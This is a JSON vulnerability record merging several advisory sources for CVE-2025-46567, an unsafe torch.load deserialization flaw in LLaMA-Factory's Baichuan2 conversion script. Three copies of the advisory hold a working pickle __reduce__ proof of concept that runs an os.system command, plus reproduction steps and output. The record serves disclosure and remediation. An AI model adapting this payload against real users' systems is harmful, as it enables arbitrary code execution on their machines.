{"id":"CVE-2025-46567","aliases":["EUVD-2025-12156","GHSA-f2f7-gj54-6vpv","PYSEC-2026-1574"],"status":"published","title":"LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py","description":"LLama Factory enables fine-tuning of large language models. Prior to version 1.0.0, a critical vulnerability exists in the `llamafy_baichuan2.py` script of the LLaMA-Factory project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization. This issue has been patched in version 1.0.0.","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00285,"percentile":0.21285,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-502"],"published":"2025-04-23T22:21:13Z","modified":"2026-10-28T02:31:13Z","fixes":[{"ecosystem":"PyPI","package":"llamafactory","fixed_in":["0.9.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"llamafactory","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.9.2"},{"fixed":"0.9.3"}]}]},{"source":"osv","ecosystem":"PyPI","package":"llamafactory","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.3"}]}],"versions":["0.7.1","0.8.0","0.8.1","0.8.2","0.8.3","0.9.0","0.9.1","0.9.2"]},{"source":"osv","ecosystem":"PyPI","package":"llamafactory","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.3"}]}],"versions":["0.7.1","0.8.0","0.8.1","0.8.2","0.8.3","0.9.0","0.9.1","0.9.2"]}],"products":[{"vendor":"hiyouga","product":"llama-factory"}],"references":[{"url":"https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-f2f7-gj54-6vpv","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/hiyouga/LLaMA-Factory/commit/2989d39239d2f46e584c1e1180ba46b9768afb2a","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-46567","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-f2f7-gj54-6vpv","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/46xxx/CVE-2025-46567.json","tags":["advisory"]},{"url":"https://github.com/hiyouga/LLaMA-Factory","tags":["package"]},{"url":"https://pypi.org/project/llamafactory","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-46567","title":"LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py","description":"LLama Factory enables fine-tuning of large language models. Prior to version 1.0.0, a critical vulnerability exists in the `llamafy_baichuan2.py` script of the LLaMA-Factory project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization. This issue has been patched in version 1.0.0.","status":"published","published":"2025-05-01T17:20:41.02Z","modified":"2025-05-02T17:29:45.664Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:32:36.706507Z"}],"euvd":[{"id":"EUVD-2025-12156","description":"LLama Factory enables fine-tuning of large language models. Prior to version 1.0.0, a critical vulnerability exists in the `llamafy_baichuan2.py` script of the LLaMA-Factory project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization. This issue has been patched in version 1.0.0.","status":"published","published":"2025-05-01T17:20:41Z","modified":"2025-05-02T17:29:45Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T20:51:55.85045Z"}],"ghsa":[{"id":"GHSA-f2f7-gj54-6vpv","title":"LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py","description":"### Description\n\nA critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization.\n\n### Attack Vector\n\nThis vulnerability is **exploitable without authentication or privileges** when a user is tricked into:\n\n1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo).\n2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow.\n\nNo elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`. \n\n### Impact\n\n- Arbitrary command execution (RCE)\n- System compromise\n- Persistence or lateral movement in shared compute environments\n\n\n### Proof of Concept (PoC)\n\n```python\n# malicious_payload.py\nimport torch, pickle, os\n\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (os.system, (\"mkdir HACKED!\",))  # Arbitrary command\n\nmalicious_data = {\n    \"v_head.summary.weight\": MaliciousPayload(),\n    \"v_head.summary.bias\": torch.randn(10)\n}\n\nwith open(\"value_head.bin\", \"wb\") as f:\n    pickle.dump(malicious_data, f)\n```\n\nAn example of `config.json`:\n\n```json\n{\n  \"model\": \"value_head.bin\",\n  \"hidden_size\": 4096,\n  \"num_attention_heads\": 32,\n  \"num_hidden_layers\": 24,\n  \"initializer_range\": 0.02,\n  \"intermediate_size\": 11008,\n  \"max_position_embeddings\": 4096,\n  \"kv_channels\": 128,\n  \"layer_norm_epsilon\": 1e-5,\n  \"tie_word_embeddings\": false,\n  \"vocab_size\": 151936\n}\n```\n\n```bash\n(base) root@d6ab70067470:~/LLaMA-Factory_latest# tree\n.\n`-- LLaMA-Factory\n    |-- LICENSE\n    |-- README.md\n    |-- malicious_folder\n    |   |-- config.json\n    |   `-- value_head.bin\n    `-- xxxxx(Irrelevant documents omitted)\n```\n\n\n```bash\n# Reproduction\npython scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out\n```\n\n➡️ Running this will execute the malicious payload and create a `HACKED!` folder.\n\n```bash\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls\nCITATION.cff  LICENSE  MANIFEST.in  Makefile  README.md  README_zh.md  assets  data  docker  evaluation  examples  malicious_folder  pyproject.toml  requirements.txt  scripts  setup.py  src  tests\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out\n2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nE0000 00:00:1745393818.451398    1008 cuda_dnn.cc:8310] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered\nE0000 00:00:1745393818.456423    1008 cuda_blas.cc:1418] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered\n2025-04-23 07:36:58.472951: I tensorflow/core/platform/cpu_feature_guard.cc:210] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.\nTo enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.\nLoad weights:  50%|██████████████████████████████████████████████████████████████████████████████████▌                                                                                  | 1/2 [00:00\u003c00:00, 123.70it/s]\nTraceback (most recent call last):\n  File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 112, in \u003cmodule\u003e\n    fire.Fire(llamafy_baichuan2)\n  File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 135, in Fire\n    component_trace = _Fire(component, args, parsed_flag_args, context, name)\n                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 468, in _Fire\n    component, remaining_args = _CallAndUpdateTrace(\n                                ^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 684, in _CallAndUpdateTrace\n    component = fn(*varargs, **kwargs)\n                ^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 107, in llamafy_baichuan2\n    save_weight(input_dir, output_dir, shard_size, save_safetensors)\n  File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 35, in save_weight\n    shard_weight = torch.load(os.path.join(input_dir, filepath), map_location=\"cpu\")\n                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py\", line 1040, in load\n    return _legacy_load(opened_file, map_location, pickle_module, **pickle_load_args)\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py\", line 1260, in _legacy_load\n    raise RuntimeError(\"Invalid magic number; corrupt file?\")\nRuntimeError: Invalid magic number; corrupt file?\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls\n CITATION.cff   LICENSE       Makefile    README_zh.md   data     evaluation   malicious_folder   pyproject.toml     scripts    src\n'HACKED!'       MANIFEST.in   README.md   assets         docker   examples     out                requirements.txt   setup.py   tests\n```\n\n### Affected File(s)\n\n- https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35\n- `scripts/convert_ckpt/llamafy_baichuan2.py`\n- Line: `torch.load(os.path.join(input_dir, filepath), map_location=\"cpu\")`\n\n### Suggested Fix\n\n- Replace `torch.load()` with safer alternatives like `safetensors`.\n- Validate and whitelist file types before deserialization.\n- Require checksum validation.\n\nExample patch:\n\n```python\n# Replace torch.load() with safe deserialization\ntry:\n    from safetensors.torch import load_file\n    tensor_data = load_file(filepath)\nexcept Exception:\n    print(\"Invalid or unsafe checkpoint file.\")\n    return\n```\n\n### Workarounds\n\n- Avoid running the script with untrusted `.bin` files.\n- Use containers or VMs to isolate script execution.\n\n### References\n\n- [torch.load() — PyTorch Docs](https://pytorch.org/docs/stable/generated/torch.load.html)\n- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n\n### Credits\n\nDiscovered and reported by [Yu Rong](https://github.com/Anchor0221) and [Hao Fan](https://github.com/xhjy2020), 2025-04-23","status":"published","published":"2025-04-23T22:21:13Z","modified":"2025-06-28T00:04:01Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L","level":"medium"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:38:48.783737Z"}],"nvd":[{"id":"CVE-2025-46567","description":"LLama Factory enables fine-tuning of large language models. Prior to version 1.0.0, a critical vulnerability exists in the `llamafy_baichuan2.py` script of the LLaMA-Factory project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization. This issue has been patched in version 1.0.0.","status":"published","published":"2025-05-01T18:15:58.117Z","modified":"2026-06-17T09:26:38.183Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:11:04.33372Z"}],"osv":[{"id":"CVE-2025-46567","title":"LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py","description":"LLama Factory enables fine-tuning of large language models. Prior to version 1.0.0, a critical vulnerability exists in the `llamafy_baichuan2.py` script of the LLaMA-Factory project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization. This issue has been patched in version 1.0.0.","status":"published","published":"2025-05-01T17:20:41.02Z","modified":"2026-10-28T02:31:13.327339738Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L","level":"medium"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:44:49.707645Z"},{"id":"GHSA-f2f7-gj54-6vpv","title":"LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py","description":"### Description\n\nA critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization.\n\n### Attack Vector\n\nThis vulnerability is **exploitable without authentication or privileges** when a user is tricked into:\n\n1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo).\n2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow.\n\nNo elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`. \n\n### Impact\n\n- Arbitrary command execution (RCE)\n- System compromise\n- Persistence or lateral movement in shared compute environments\n\n\n### Proof of Concept (PoC)\n\n```python\n# malicious_payload.py\nimport torch, pickle, os\n\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (os.system, (\"mkdir HACKED!\",))  # Arbitrary command\n\nmalicious_data = {\n    \"v_head.summary.weight\": MaliciousPayload(),\n    \"v_head.summary.bias\": torch.randn(10)\n}\n\nwith open(\"value_head.bin\", \"wb\") as f:\n    pickle.dump(malicious_data, f)\n```\n\nAn example of `config.json`:\n\n```json\n{\n  \"model\": \"value_head.bin\",\n  \"hidden_size\": 4096,\n  \"num_attention_heads\": 32,\n  \"num_hidden_layers\": 24,\n  \"initializer_range\": 0.02,\n  \"intermediate_size\": 11008,\n  \"max_position_embeddings\": 4096,\n  \"kv_channels\": 128,\n  \"layer_norm_epsilon\": 1e-5,\n  \"tie_word_embeddings\": false,\n  \"vocab_size\": 151936\n}\n```\n\n```bash\n(base) root@d6ab70067470:~/LLaMA-Factory_latest# tree\n.\n`-- LLaMA-Factory\n    |-- LICENSE\n    |-- README.md\n    |-- malicious_folder\n    |   |-- config.json\n    |   `-- value_head.bin\n    `-- xxxxx(Irrelevant documents omitted)\n```\n\n\n```bash\n# Reproduction\npython scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out\n```\n\n➡️ Running this will execute the malicious payload and create a `HACKED!` folder.\n\n```bash\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls\nCITATION.cff  LICENSE  MANIFEST.in  Makefile  README.md  README_zh.md  assets  data  docker  evaluation  examples  malicious_folder  pyproject.toml  requirements.txt  scripts  setup.py  src  tests\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out\n2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nE0000 00:00:1745393818.451398    1008 cuda_dnn.cc:8310] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered\nE0000 00:00:1745393818.456423    1008 cuda_blas.cc:1418] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered\n2025-04-23 07:36:58.472951: I tensorflow/core/platform/cpu_feature_guard.cc:210] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.\nTo enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.\nLoad weights:  50%|██████████████████████████████████████████████████████████████████████████████████▌                                                                                  | 1/2 [00:00\u003c00:00, 123.70it/s]\nTraceback (most recent call last):\n  File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 112, in \u003cmodule\u003e\n    fire.Fire(llamafy_baichuan2)\n  File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 135, in Fire\n    component_trace = _Fire(component, args, parsed_flag_args, context, name)\n                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 468, in _Fire\n    component, remaining_args = _CallAndUpdateTrace(\n                                ^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 684, in _CallAndUpdateTrace\n    component = fn(*varargs, **kwargs)\n                ^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 107, in llamafy_baichuan2\n    save_weight(input_dir, output_dir, shard_size, save_safetensors)\n  File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 35, in save_weight\n    shard_weight = torch.load(os.path.join(input_dir, filepath), map_location=\"cpu\")\n                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py\", line 1040, in load\n    return _legacy_load(opened_file, map_location, pickle_module, **pickle_load_args)\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py\", line 1260, in _legacy_load\n    raise RuntimeError(\"Invalid magic number; corrupt file?\")\nRuntimeError: Invalid magic number; corrupt file?\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls\n CITATION.cff   LICENSE       Makefile    README_zh.md   data     evaluation   malicious_folder   pyproject.toml     scripts    src\n'HACKED!'       MANIFEST.in   README.md   assets         docker   examples     out                requirements.txt   setup.py   tests\n```\n\n### Affected File(s)\n\n- https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35\n- `scripts/convert_ckpt/llamafy_baichuan2.py`\n- Line: `torch.load(os.path.join(input_dir, filepath), map_location=\"cpu\")`\n\n### Suggested Fix\n\n- Replace `torch.load()` with safer alternatives like `safetensors`.\n- Validate and whitelist file types before deserialization.\n- Require checksum validation.\n\nExample patch:\n\n```python\n# Replace torch.load() with safe deserialization\ntry:\n    from safetensors.torch import load_file\n    tensor_data = load_file(filepath)\nexcept Exception:\n    print(\"Invalid or unsafe checkpoint file.\")\n    return\n```\n\n### Workarounds\n\n- Avoid running the script with untrusted `.bin` files.\n- Use containers or VMs to isolate script execution.\n\n### References\n\n- [torch.load() — PyTorch Docs](https://pytorch.org/docs/stable/generated/torch.load.html)\n- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n\n### Credits\n\nDiscovered and reported by [Yu Rong](https://github.com/Anchor0221) and [Hao Fan](https://github.com/xhjy2020), 2025-04-23","status":"published","published":"2025-04-23T22:21:13Z","modified":"2026-09-10T03:50:23.927404812Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L","level":"medium"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:45.639885Z"},{"id":"PYSEC-2026-1574","title":"LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py","description":"### Description\n\nA critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization.\n\n### Attack Vector\n\nThis vulnerability is **exploitable without authentication or privileges** when a user is tricked into:\n\n1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo).\n2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow.\n\nNo elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`. \n\n### Impact\n\n- Arbitrary command execution (RCE)\n- System compromise\n- Persistence or lateral movement in shared compute environments\n\n\n### Proof of Concept (PoC)\n\n```python\n# malicious_payload.py\nimport torch, pickle, os\n\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (os.system, (\"mkdir HACKED!\",))  # Arbitrary command\n\nmalicious_data = {\n    \"v_head.summary.weight\": MaliciousPayload(),\n    \"v_head.summary.bias\": torch.randn(10)\n}\n\nwith open(\"value_head.bin\", \"wb\") as f:\n    pickle.dump(malicious_data, f)\n```\n\nAn example of `config.json`:\n\n```json\n{\n  \"model\": \"value_head.bin\",\n  \"hidden_size\": 4096,\n  \"num_attention_heads\": 32,\n  \"num_hidden_layers\": 24,\n  \"initializer_range\": 0.02,\n  \"intermediate_size\": 11008,\n  \"max_position_embeddings\": 4096,\n  \"kv_channels\": 128,\n  \"layer_norm_epsilon\": 1e-5,\n  \"tie_word_embeddings\": false,\n  \"vocab_size\": 151936\n}\n```\n\n```bash\n(base) root@d6ab70067470:~/LLaMA-Factory_latest# tree\n.\n`-- LLaMA-Factory\n    |-- LICENSE\n    |-- README.md\n    |-- malicious_folder\n    |   |-- config.json\n    |   `-- value_head.bin\n    `-- xxxxx(Irrelevant documents omitted)\n```\n\n\n```bash\n# Reproduction\npython scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out\n```\n\n➡️ Running this will execute the malicious payload and create a `HACKED!` folder.\n\n```bash\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls\nCITATION.cff  LICENSE  MANIFEST.in  Makefile  README.md  README_zh.md  assets  data  docker  evaluation  examples  malicious_folder  pyproject.toml  requirements.txt  scripts  setup.py  src  tests\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out\n2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nE0000 00:00:1745393818.451398    1008 cuda_dnn.cc:8310] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered\nE0000 00:00:1745393818.456423    1008 cuda_blas.cc:1418] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered\n2025-04-23 07:36:58.472951: I tensorflow/core/platform/cpu_feature_guard.cc:210] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.\nTo enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.\nLoad weights:  50%|██████████████████████████████████████████████████████████████████████████████████▌                                                                                  | 1/2 [00:00\u003c00:00, 123.70it/s]\nTraceback (most recent call last):\n  File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 112, in \u003cmodule\u003e\n    fire.Fire(llamafy_baichuan2)\n  File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 135, in Fire\n    component_trace = _Fire(component, args, parsed_flag_args, context, name)\n                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 468, in _Fire\n    component, remaining_args = _CallAndUpdateTrace(\n                                ^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 684, in _CallAndUpdateTrace\n    component = fn(*varargs, **kwargs)\n                ^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 107, in llamafy_baichuan2\n    save_weight(input_dir, output_dir, shard_size, save_safetensors)\n  File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 35, in save_weight\n    shard_weight = torch.load(os.path.join(input_dir, filepath), map_location=\"cpu\")\n                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py\", line 1040, in load\n    return _legacy_load(opened_file, map_location, pickle_module, **pickle_load_args)\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py\", line 1260, in _legacy_load\n    raise RuntimeError(\"Invalid magic number; corrupt file?\")\nRuntimeError: Invalid magic number; corrupt file?\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls\n CITATION.cff   LICENSE       Makefile    README_zh.md   data     evaluation   malicious_folder   pyproject.toml     scripts    src\n'HACKED!'       MANIFEST.in   README.md   assets         docker   examples     out                requirements.txt   setup.py   tests\n```\n\n### Affected File(s)\n\n- https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35\n- `scripts/convert_ckpt/llamafy_baichuan2.py`\n- Line: `torch.load(os.path.join(input_dir, filepath), map_location=\"cpu\")`\n\n### Suggested Fix\n\n- Replace `torch.load()` with safer alternatives like `safetensors`.\n- Validate and whitelist file types before deserialization.\n- Require checksum validation.\n\nExample patch:\n\n```python\n# Replace torch.load() with safe deserialization\ntry:\n    from safetensors.torch import load_file\n    tensor_data = load_file(filepath)\nexcept Exception:\n    print(\"Invalid or unsafe checkpoint file.\")\n    return\n```\n\n### Workarounds\n\n- Avoid running the script with untrusted `.bin` files.\n- Use containers or VMs to isolate script execution.\n\n### References\n\n- [torch.load() — PyTorch Docs](https://pytorch.org/docs/stable/generated/torch.load.html)\n- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n\n### Credits\n\nDiscovered and reported by [Yu Rong](https://github.com/Anchor0221) and [Hao Fan](https://github.com/xhjy2020), 2025-04-23","status":"published","published":"2026-07-07T16:02:51.349594Z","modified":"2026-07-07T17:46:54.115506616Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:55.06457Z"}]}}